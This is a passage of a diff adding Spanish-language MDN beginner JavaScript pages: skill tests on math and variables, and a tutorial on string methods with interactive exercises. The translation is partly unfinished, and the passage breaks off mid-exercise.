+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Variables">Guardando la información que necesitas— Variables</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Math">Matemáticas básicas en JavaScript — números y operadores</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Strings">Manejo de texto — cadenas en JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Useful_string_methods">Métodos útiles para el manejo de cadenas</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Arrays">Arreglos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Silly_story_generator" rel="nofollow">Evaluaciones: Generador de historias absurdas</a></li>
+</ul>
diff --git a/files/es/learn/javascript/first_steps/test_your_skills_colon__math/index.html b/files/es/learn/javascript/first_steps/test_your_skills_colon__math/index.html
new file mode 100644
index 0000000000..e02f502bce
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/test_your_skills_colon__math/index.html
@@ -0,0 +1,91 @@
+---
+title: 'Comprueba tus habilidades: Matematicas.'
+slug: 'Learn/JavaScript/First_steps/Test_your_skills:_Math'
+tags:
+  - JavaScript
+  - Matemática
+  - Principiante
+  - Prueba tus habilidades
+  - aprende
+translation_of: 'Learn/JavaScript/First_steps/Test_your_skills:_Math'
+---
+<div>{{learnsidebar}}</div>
+
+<p>El objetivo de esta prueba de habilidad es conocer si has entendido nuestra clase sobre el articulo <a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Matematica basica en JavaScript — números y operadores</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes probar soluciones en los editores interactivos a continuación, sin embargo, puede ser útil descargar el código y usar una herramienta en línea como <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, o <a href="https://glitch.com/">Glitch</a> para trabajar en las tareas.</p>
+
+<p>Si se queda atascado, pídanos ayuda; consulte la sección {{anch ("Evaluación o ayuda adicional")}} en la parte inferior de esta página.</p>
+
+<p><strong>Nota</strong>: En los ejemplos a continuación, si hay un error en su código, se mostrará en el panel de resultados de la página, para ayudarlo a tratar de averiguar la respuesta (o en la consola JavaScript del navegador, en el caso de la versión descargable).</p>
+</div>
+
+<h2 id="Math_1">Math 1</h2>
+
+<p>Iniciemos poniendo a prueba sus conocimientos acerca de los operadores matemáticos básicos. Usted tendrá que crear 4 valores númericos, unir los 2 primeros, hacer una resta del cuarto con el tercero y multiplicar los resultados secundarios juntos para obtener un resultado final de 48. Y finalmente, necesita ejecutar una prueba para comprobar si el resultado es un numero par.</p>
+
+<p>Asi que intente realizar la actualización del código descrito abajo para crear el ejemplo terminado, siguendo estos pasos:</p>
+
+<ol>
+ <li>Crea cuatro variables que contengan numeros. Llama a las variables razonablemente.</li>
+ <li>Agrega las dos primeras variables juntas y guarda el resultado en otra variable.</li>
+ <li>Subtract the fourth variable from the third and store the result in another variable.</li>
+ <li>Multiply the results from the last two steps together, storing the result in a variable called <code>finalResult</code>. The product should be 48. If it isn't, you'll have to adjust some of the initial input values.</li>
+ <li>Finally, write a calculation that checks whether <code>finalResult</code> is an even number. Store the result in a variable called <code>evenOddResult</code>.</li>
+</ol>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/math/math1.html", '100%', 400)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/math/math1-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p>
+</div>
+
+<h2 id="Math_2">Math 2</h2>
+
+<p>In the second task you are already provided with two calculations, with the results stored in the variables <code>result</code> and <code>result2</code>. But these results aren't what we want; you'll need to take the calculations and change them to give us what we want.</p>
+
+<p>What do we want? After multiplying the two results together and formatting the result to 2 decimal places, the final result should be 10.42.</p>
+
+<p>Try updating the live code below to recreate the finished example, following these steps:</p>
+
+<ol>
+ <li>Write a calculation that multiples <code>result</code> and <code>result2</code> together and assigns the result back to <code>result</code>. This will require assignment shorthand.</li>
+ <li>Write a line of code that takes result and formats it to 2 decimal places, storing the result of this in a variable called <code>finalResult</code>.</li>
+ <li>Check the data type of <code>finalResult</code> using <code>typeof</code>; you'll probably see that it is actually of <code>string</code> type! Write a line of code that converts it to a <code>number</code> type, storing the result in a variable called <code>finalNumber</code>.</li>
+ <li>The value of <code>finalNumber</code> needs to be <code>10.42</code>. Go back and update the original calculations you were provided with so that they give this final result. Don't update the numbers or the operators.</li>
+</ol>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/math/math2.html", '100%', 400)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/math/math2-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p>
+</div>
+
+<h2 id="Math_3">Math 3</h2>
+
+<p>In the final task for this article, we want you to write some tests. You've got three groups, each consisting of a statement and two variables. For each one, write a test that proves or disproves the statement made. Store the results of those tests in variables called <code>weightComparison</code>, <code>heightComparison</code>, and <code>pwdMatch</code>, respectively.</p>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/math/math3.html", '100%', 400)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/math/math3-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p>
+</div>
+
+<h2 id="Assessment_or_further_help">Assessment or further help</h2>
+
+<p>You can practice these examples in the Interactive Editors above.</p>
+
+<p>If you would like your work assessed, or are stuck and want to ask for help:</p>
+
+<ol>
+ <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>. You can write the code yourself, or use the starting point files linked to in the above sections.</li>
+ <li>Write a post asking for assessment and/or help at the <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a>. Your post should include:
+  <ul>
+   <li>A descriptive title such as "Assessment wanted for Math 1 skill test".</li>
+   <li>Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.</li>
+   <li>A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li>
+   <li>A link to the actual task or assessment page, so we can find the question you want help with.</li>
+  </ul>
+ </li>
+</ol>
diff --git a/files/es/learn/javascript/first_steps/test_your_skills_colon__variables/index.html b/files/es/learn/javascript/first_steps/test_your_skills_colon__variables/index.html
new file mode 100644
index 0000000000..c242ff5ccc
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/test_your_skills_colon__variables/index.html
@@ -0,0 +1,84 @@
+---
+title: '¡Pon a prueba tus habilidades!: Variables'
+slug: 'Learn/JavaScript/First_steps/Test_your_skills:_variables'
+tags:
+  - JavaScript
+  - Principiante
+  - Tus habilidades con texto
+  - Variables
+  - aprende
+translation_of: 'Learn/JavaScript/First_steps/Test_your_skills:_variables'
+---
+<div>{{learnsidebar}}</div>
+
+<p>El objetivo de esta prueba de habilidad es evaluar si has entendido nuestro artículo <a href="/es/docs/Learn/JavaScript/First_steps/Variables">Almacenando la información que necesitas — Variables</a>.</p>
+
+<div class="blockIndicator">
+<p><strong>Nota</strong>: Puedes probar las soluciones en los editores interactivos a continuación, sin embargo, puede ser útil descargar el código y usar una herramienta en línea como <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, o <a href="https://glitch.com/">Glitch</a> para trabajar en las tareas.<br>
+ <br>
+ Si te atascas, pídenos ayuda; consulta la sección {{anch('Evaluación o ayuda adicional')}} en la parte inferior de esta página.</p>
+</div>
+
+<div class="blockIndicator">
+<p><strong>Nota</strong>: En los siguientes ejemplos, si hay un error en tu código, se mostrará en el panel de resultados de la página, para ayudarte a intentar averiguar la respuesta (o en la consola JavaScript del navegador, en el caso de la versión descargable).</p>
+</div>
+
+<h2 id="Variables_1">Variables 1</h2>
+
+<p>En esta tarea queremos que:</p>
+
+<ul>
+ <li>Declares una variable llamada <code>myName</code>.</li>
+ <li>Inicies <code>myName</code> con un valor adecuado, en una línea separada (puedes usar tu nombre real o algo más).</li>
+ <li>Declares una variable llamada <code>myAge</code> la inicies con un valor, en la misma línea.</li>
+</ul>
+
+<p>Intenta actualizar el código en vivo a continuación para recrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample('learning-area/javascript/introduction-to-js-1/tasks/variables/variables1.html', '100%', 400)}}</p>
+
+<div class="blockIndicator">
+<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/variables/variables1-download.html">Descarga el punto de partida de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Variables_2">Variables 2</h2>
+
+<p>En esta tarea, debes agregar una nueva línea para corregir el valor almacenado en la variable <code>myName</code> existente a tu propio nombre.</p>
+
+<p>Intenta actualizar el código en vivo a continuación para recrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample('learning-area/javascript/introduction-to-js-1/tasks/variables/variables2.html', '100%', 400)}}</p>
+
+<div class="blockIndicator">
+<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/variables/variables2-download.html">Descarga el punto de partida de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Variables_3">Variables 3</h2>
+
+<p>La tarea final por ahora — en este caso, se te proporciona un código existente, que tiene dos errores presentes. El panel de resultados debería mostrar el nombre <code>Chris</code> y una declaración sobre la edad que tendrá Chris dentro de 20 años. ¿Cómo puedes solucionar el problema y corregir la salida?</p>
+
+<p>Intenta actualizar el código en vivo a continuación para recrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample('learning-area/javascript/introduction-to-js-1/tasks/variables/variables3.html', '100%', 400)}}</p>
+
+<div class="blockIndicator">
+<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/variables/variables3-download.html">Descarga el punto de partida de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Evaluación_o_ayuda_adicional">Evaluación o ayuda adicional</h2>
+
+<p>Puedes practicar estos ejemplos en los editores interactivos anteriores.</p>
+
+<p>Si deseas que se evalúe tu trabajo o estás atascado y deseas pedir ayuda:</p>
+
+<ol>
+ <li>Coloca tu trabajo en un editor que se pueda compartir en línea, como <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> o <a href="https://glitch.com/">Glitch</a>. Puedes escribir el código tú mismo o utilizar los archivos de punto de partida vinculados en las secciones anteriores.</li>
+ <li>Escribe una publicación solicitando evaluación y/o ayuda en la <a href="https://discourse.mozilla.org/c/mdn/learn">categoría de aprendizaje del foro de discusión de MDN</a>. Tu publicación debe incluir:
+  <ul>
+   <li>Un título descriptivo como Evaluación deseada para la prueba de habilidad de Variables 1.</li>
+   <li>Detalles de lo que ya has probado y lo que te gustaría que hiciéramos, p. ej. si estás atascado y necesitas ayuda, o quieres una evaluación.</li>
+   <li>Un enlace al ejemplo que deseas evaluar o con el que necesitas ayuda, en un editor que se pueda compartir en línea (como se mencionó en el paso 1 anterior). Esta es una buena práctica para empezar — es muy difícil ayudar a alguien con un problema de codificación si no puedes ver su código.</li>
+   <li>Un enlace a la página de la tarea o evaluación real, para que podamos encontrar la pregunta con la que deseas ayuda.</li>
+  </ul>
+ </li>
+</ol>
diff --git a/files/es/learn/javascript/first_steps/useful_string_methods/index.html b/files/es/learn/javascript/first_steps/useful_string_methods/index.html
new file mode 100644
index 0000000000..09c6cfea08
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/useful_string_methods/index.html
@@ -0,0 +1,718 @@
+---
+title: Métodos útiles con cadenas
+slug: Learn/JavaScript/First_steps/Useful_string_methods
+tags:
+  - Artículo
+  - Cadenas
+  - JavaScript
+  - Métodos
+  - Principiante
+translation_of: Learn/JavaScript/First_steps/Useful_string_methods
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">Ahora que hemos analizado los conceptos básicos de las cadenas, aumentemos la velocidad y comencemos a pensar qué operaciones útiles podemos hacer en cadenas con métodos integados, como encontrar la longitud de una cadena de texto, unir y dividir cadenas, sustituyendo un caracter de una cadena por otro, y más.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Conocimientos básicos de informática, una comprensión básica de HTML y CSS, una comprensión de lo que es JavaScript.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectivo:</th>
+   <td>Comprender que las cadenas son objetos y aprender a usar algunos de los métodos básicos disponibles en esos objetos para manipular cadenas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cadenas_como_objetos">Cadenas como objetos</h2>
+
+<p id="Useful_string_methods">Ya lo dijimos antes, y lo diremos de nuevo — <em>todo</em> es un objeto en JavaScript. Cuando creas una cadena, por ejemplo, usando:</p>
+
+<pre class="brush: js notranslate">let string = 'This is my string';</pre>
+
+<p>Tu variable se convierte en una instancia del objeto cadena y, como resultado, tiene una gran cantidad de propiedades y métodos disponibles. Puedes ver esto si vas a la página de objeto {{jsxref("String")}} y miras la lista al costado de la página.</p>
+
+<p><strong>Ahora, antes de que tu cerebro comience a derretirse, ¡no te preocupes!</strong> Realmente no necesitas saber acerca de la mayoría de estos principios en tu viaje de aprendizaje. Pero hay algunos que posiblemente utilizarás con bastante frecuencia así como veremos aquí. </p>
+
+<p>Ingresemos algunos ejemplos en una nueva consola. A continuación, proporcionamos uno (también puedes <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">abrir esta consola</a> en una ventana o pestaña por separado, o si prefieres usar la <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">consola de desarrolladores del navegador</a>).</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;JavaScript console&lt;/title&gt;
+    &lt;style&gt;
+      * {
+        box-sizing: border-box;
+      }
+
+      html {
+        background-color: #0C323D;
+        color: #809089;
+        font-family: monospace;
+      }
+
+      body {
+        max-width: 700px;
+      }
+
+      p {
+        margin: 0;
+        width: 1%;
+        padding: 0 1%;
+        font-size: 16px;
+        line-height: 1.5;
+        float: left;
+      }
+
+      .input p {
+        margin-right: 1%;
+      }
+
+      .output p {
+        width: 100%;
+      }
+
+      .input input {
+        width: 96%;
+        float: left;
+        border: none;
+        font-size: 16px;
+        line-height: 1.5;
+        font-family: monospace;
+        padding: 0;
+        background: #0C323D;
+        color: #809089;
+      }
+
+      div {
+        clear: both;
+      }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+
+  &lt;/body&gt;
+
+  &lt;script&gt;
+    var geval = eval;
+    function createInput() {
+      var inputDiv = document.createElement('div');
+      var inputPara = document.createElement('p');
+      var inputForm = document.createElement('input');
+
+      inputDiv.setAttribute('class', 'input');
+      inputPara.textContent = '&gt;';
+      inputDiv.appendChild(inputPara);
+      inputDiv.appendChild(inputForm);
+      document.body.appendChild(inputDiv);
+
+      inputForm.addEventListener('change', executeCode);
+    }
+
+    function executeCode(e) {
+      try {
+        var result = geval(e.target.value);
+      } catch(e) {
+        var result = 'error — ' + e.message;
+      }
+
+      var outputDiv = document.createElement('div');
+      var outputPara = document.createElement('p');
+
+      outputDiv.setAttribute('class','output');
+      outputPara.textContent = 'Result: ' + result;
+      outputDiv.appendChild(outputPara);
+      document.body.appendChild(outputDiv);
+
+      e.target.disabled = true;
+      e.target.parentNode.style.opacity = '0.5';
+
+      createInput()
+    }
+
+    createInput();
+
+  &lt;/script&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Encontrar_la_longitud_de_un_cadena">Encontrar la longitud de un cadena</h3>
+
+<p>Esto es fácil — simplemente usa la propiedad {{jsxref("String.prototype.length", "length")}} . Intenta ingresar las siguientes líneas:</p>
+
+<pre class="brush: js notranslate">let browserType = 'mozilla';
+browserType.length;</pre>
+
+<p>Esto debería devolver el número 7, porque "mozilla" tiene 7 caracteres. Esto es útil por muchas razones; por ejemplo, es posible que quieras buscar las longitudes de una serie de nombres para que puedas mostrarlos en orden de su longitud, o dejar que un usuario  sepa que un nombre ingresado en un campo de formulario es demasiado largo o si tiene una longitud determinada.</p>
+
+<h3 id="Extrayendo_un_específico_caracter_de_la_cadena">Extrayendo un específico caracter de la cadena</h3>
+
+<p>En una nota relacionada, puedes devolver cualquier carácter de una cadena usando la <strong>notación de corchetes</strong> — esto significa que incluyes corchetes (<code>[]</code>) al final del nombre de tu variable. Dentro de los corchetes, incluye el número del caracter que deseas extraer, así que, por ejemplo, para extraer la primera letra harías esto:</p>
+
+<pre class="brush: js notranslate">browserType[0];</pre>
+
+<p>¡ Las computadoras cuentan desde 0, no desde 1! Para extraer el último caracter de <em>cualquier</em> cadena, podríamos usar la siguiente línea, combinando esta técnica con la propiedad <code>length</code> que vimos arriba:</p>
+
+<pre class="brush: js notranslate">browserType[browserType.length-1];</pre>
+
+<p>El largo de "mozilla" es 7, pero es porque el contador comienza en 0, la posición del caracter es 6, por lo tanto, necesitamos <code>length-1</code>. Puedes usar esto para, por ejemplo, encontrar la primera letra de una serie de cadenas y ordenarlas alfabéticamente.</p>
+
+<h3 id="Encontrar_una_subcadena_dentro_de_una_cadena_y_extraerla">Encontrar una subcadena dentro de una cadena y extraerla</h3>
+
+<ol>
+ <li>Algunas veces querrás encontrar si hay una cadena más pequeña dentro de una más grande (generalmente decimos <em>si una subcadena está presente dentro de una cadena</em>). Esto se puede hacer utilizando el método {{jsxref("String.prototype.indexOf()", "indexOf()")}}, que toma un único <a href="https://developer.mozilla.org/en-US/docs/Glossary/Parameter">parámetro</a> — la subcadena que deseas buscar. Intenta esto:
+
+  <pre class="brush: js notranslate">browserType.indexOf('zilla');</pre>
+  Esto nos dá un resultado de 2, porque la subcadena "zilla" comienza en la posición 2 (0, 1, 2  — por tanto 3 caracteres en total) dentro de "mozilla". Tal código podría usarse para filtrar cadena. Por ejemplo, podemos tener una lista de direcciones web y solo queremos imprimir las que contienen "mozilla".</li>
+</ol>
+
+<ol start="2">
+ <li>Esto se puede hacer de otra manera, que posiblemente sea aún más efectiva. Intenta lo siguiente:
+  <pre class="brush: js notranslate">browserType.indexOf('vanilla');</pre>
+  Esto debería darte un resultado de <code>-1</code> — Esto se devuelve cuando la subcadena, en este caso 'vanilla', no es encontrada en la cadena principal.<br>
+  <br>
+  Puedes usar esto para encontrar todas las instancias de las cadenas que <strong>no</strong> contengan la subcadena 'mozilla', o <strong>hacerlo,</strong> si usas el operador de negación, como se muestra a continuación. Podrías hacer algo como esto:
+
+  <pre class="brush: js notranslate">if(browserType.indexOf('mozilla') !== -1) {
+  // do stuff with the string
+}</pre>
+ </li>
+ <li>Cuando sabes donde comienza una subcadena dentro de una cadena, y sabes hasta cuál caracter deseas que termine, puede usarse {{jsxref("String.prototype.slice()", "slice()")}} para extraerla. Prueba lo siguiente:
+  <pre class="brush: js notranslate">browserType.slice(0,3);</pre>
+  Esto devuelve "moz" — El primer parámetro es la posición del caracter en la que comenzar a extraer, y el segundo parámetro es la posición del caracter posterior al último a ser extraído. Por lo tanto, el corte ocurre desde la primera posición en adelante, pero excluyendo la última posición. En este ejemplo, dado que el índice inicial es 0, el segundo parámetro es igual a la longitud de la cadena que se devuelve.<br>
+   </li>
+ <li>Además, si sabes que deseas extraer todos los caracteres restantes de una cadena después de cierto caracter, ¡no necesitas incluir el segundo parámetro! En cambio, solo necesitas incluir la posición del caracter desde donde deseas extraer los caracteres restante en la cadena. Prueba lo siguiente:
+  <pre class="brush: js notranslate">browserType.slice(2);</pre>
+  Esto devuelve "zilla" — debido a que la posición del caracter de 2 es la letra z, y como no incluiste un segundo parámetro, la subcadena que que se devolvío fué el resto de los caracteres de la cadena. </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: El segundo parámetro de <code>slice()</code> es opcional: si no lo incluyes, el corte termina al final de la cadena original. Hay otras opciones también; estudia la página {{jsxref("String.prototype.slice()", "slice()")}} para ver que mas puedes averiguar.</p>
+</div>
+
+<h3 id="Cambiando_todo_a_mayúscula_o_minúscula">Cambiando todo a mayúscula o minúscula</h3>
+
+<p>Los métodos de cadena {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} y {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}} toman una cadena y convierten todos sus caracteres a mayúscula o minúscula, respectivamente. Esto puede ser útil, por ejemplo, si deseas normalizar todos los datos ingresados por el usuario antes de almacenarlos en una base de datos.</p>
+
+<p>Intentemos ingresar las siguentes líneas para ver que sucede:</p>
+
+<pre class="brush: js notranslate">let radData = 'My NaMe Is MuD';
+radData.toLowerCase();
+radData.toUpperCase();</pre>
+
+<h3 id="Actualizando_partes_de_una_cadena">Actualizando partes de una cadena</h3>
+
+<p>En una cadena puedes reemplazar una subcadena por otra usando el método {{jsxref("String.prototype.replace()", "replace()")}}. Esto funciona de manera muy simple a un nivel básico, aunque hay algunas cosas avanzadas que puedes hacer con él en lo que todavía no entraremos.</p>
+
+<p>Toma dos parámetros — la cadena que deseas reemplazar, y la cadena con la que deseas reemplazarla. Prueba este ejemplo:</p>
+
+<pre class="brush: js notranslate">browserType.replace('moz','van');</pre>
+
+<p>Ten en cuenta que para obtener realmente el valor actualizado reflejado en la variable <code>browserType</code> en un programa real, debes establecer que el valor de la variable sea el resultado de la operación; No solo actualiza el valor de la subcadena automáticamente. Así que tendrías que escribir esto: <code>browserType = browserType.replace('moz','van');</code></p>
+
+<h2 id="Ejemplos_de_aprendizaje_activo">Ejemplos de aprendizaje activo</h2>
+
+<p>En esta sección, conseguiremos que intentes escribir algún código de manipulación de cadenas. En cada ejercicio a continuación, tenemos una matríz de cadenas y un bucle que procesa cada valor en la matríz y lo muestra en una lista con viñetas. No es necesario que comprendas matrices y bucles en este mismo momento — estos se explicarán en futuros artículos. Todo lo que necesitas hacer en cada caso es escribir el código que dará de salida a las cadenas en el formato que las queremos.</p>
+
+<p>Cada ejemplo viene con un botón de "Reset" , Que puedes utilizar para reestablecer el código si cometes un error y no puedes hacerlo funcionar nuevamente, y un botón "Show solution" que puedes presionar para ver una posible respuesta si te encuentras realmente atorado.</p>
+
+<h3 id="Filtrado_de_mensajes_de_saludo">Filtrado de mensajes de saludo</h3>
+
+<p>En el primer ejercicio, comenzamos de manera simple — tenemos una matríz de mensajes de tarjetas de felicitación, pero queremos ordenarlos para que aparezcan solo los mensajes de Navidad. Queremos que completes un test condicional dentro de la estructura <code>if( ... )</code>, para comprobar cada cadena y solo imprimirla en la lista si es un mensaje de Navidad.</p>
+
+<ol>
+ <li>Primero piensa en cómo puedes probar si el mensaje en cada caso es un mensaje de Navidad. ¿Qué cadena está presente en todos esos mensajes, y qué método podrías usar para comprobar si está presente?</li>
+ <li>A continuación, deberá escribir un test condicional de la forma <em>operand1 operator operand2</em>. ¿Es lo que está a la izquierda igual a lo que está a la derecha? O en este caso, ¿el método llamado a la izquierda devuelve el resultado a la derecha?</li>
+ <li>Sugerencia: En este caso, probablemente sea más útil comprobar si la llamada al método <em>no es</em> igual a un determinado resultado.</li>
+</ol>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 125px;"&gt;
+
+&lt;ul&gt;
+
+&lt;/ul&gt;
+
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 290px; width: 95%"&gt;
+var list = document.querySelector('.output ul');
+list.innerHTML = '';
+var greetings = ['Happy Birthday!',
+                 'Merry Christmas my love',
+                 'A happy Christmas to all the family',
+                 'You\'re all I want for Christmas',
+                 'Get well soon'];
+
+for (var i = 0; i &lt; greetings.length; i++) {
+  var input = greetings[i];
+  // Your conditional test needs to go inside the parentheses
+  // in the line below, replacing what's currently there
+  if (greetings[i]) {
+    var result = input;
+    var listItem = document.createElement('li');
+    listItem.textContent = result;
+    list.appendChild(listItem);
+  }
+}
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar greetings = [\'Happy Birthday!\',\n \'Merry Christmas my love\',\n \'A happy Christmas to all the family\',\n \'You\\\'re all I want for Christmas\',\n \'Get well soon\'];\n\nfor(var i = 0; i &lt; greetings.length; i++) {\n var input = greetings[i];\n if(greetings[i].indexOf(\'Christmas\') !== -1) {\n var result = input;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n }\n}';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', '100%', 590, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Corrección_de_mayúscula">Corrección de mayúscula</h3>
+
+<p>En este ejercicio tenemos los nombres de las ciudades del Reino Unido, Pero las mayúsculas estan completamente desordenadas. Queremos que los cambies para que estén en minúscula, a excepción de la primera letra. Una buena manera de hacerlo es:</p>
+
+<ol>
+ <li>Convierte la totalidad de la cadena contenida en la variable <code>input</code> a minúsculas y guárdalas en una nueva variable.</li>
+ <li>Toma la primera letra de la cadena en esta nueva variable y guárdala en otra variable.</li>
+ <li>Usando esta última variable como una subcadena, reemplaza la primera letra de la cadena en minúscula con la subcadena en mayúscula. Almacena el resultado de este procedimiento de reemplazo en otra nueva variable.</li>
+ <li>Cambia el valor de la variable <code>result</code> a igual al resultado final. en vez de <code>input</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Una pista — los parámetros de los métodos de cadena no tienen que ser literales de cadenas; también pueden ser variables, o incluso variables con un método invocados en ellas.</p>
+</div>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 125px;"&gt;
+
+&lt;ul&gt;
+
+&lt;/ul&gt;
+
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 250px; width: 95%"&gt;
+var list = document.querySelector('.output ul');
+list.innerHTML = '';
+var cities = ['lonDon', 'ManCHESTer', 'BiRmiNGHAM', 'liVERpoOL'];
+for(var i = 0; i &lt; cities.length; i++) {
+  var input = cities[i];
+  // write your code just below here
+
+  var result = input;
+  var listItem = document.createElement('li');
+  listItem.textContent = result;
+  list.appendChild(listItem);
+}
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
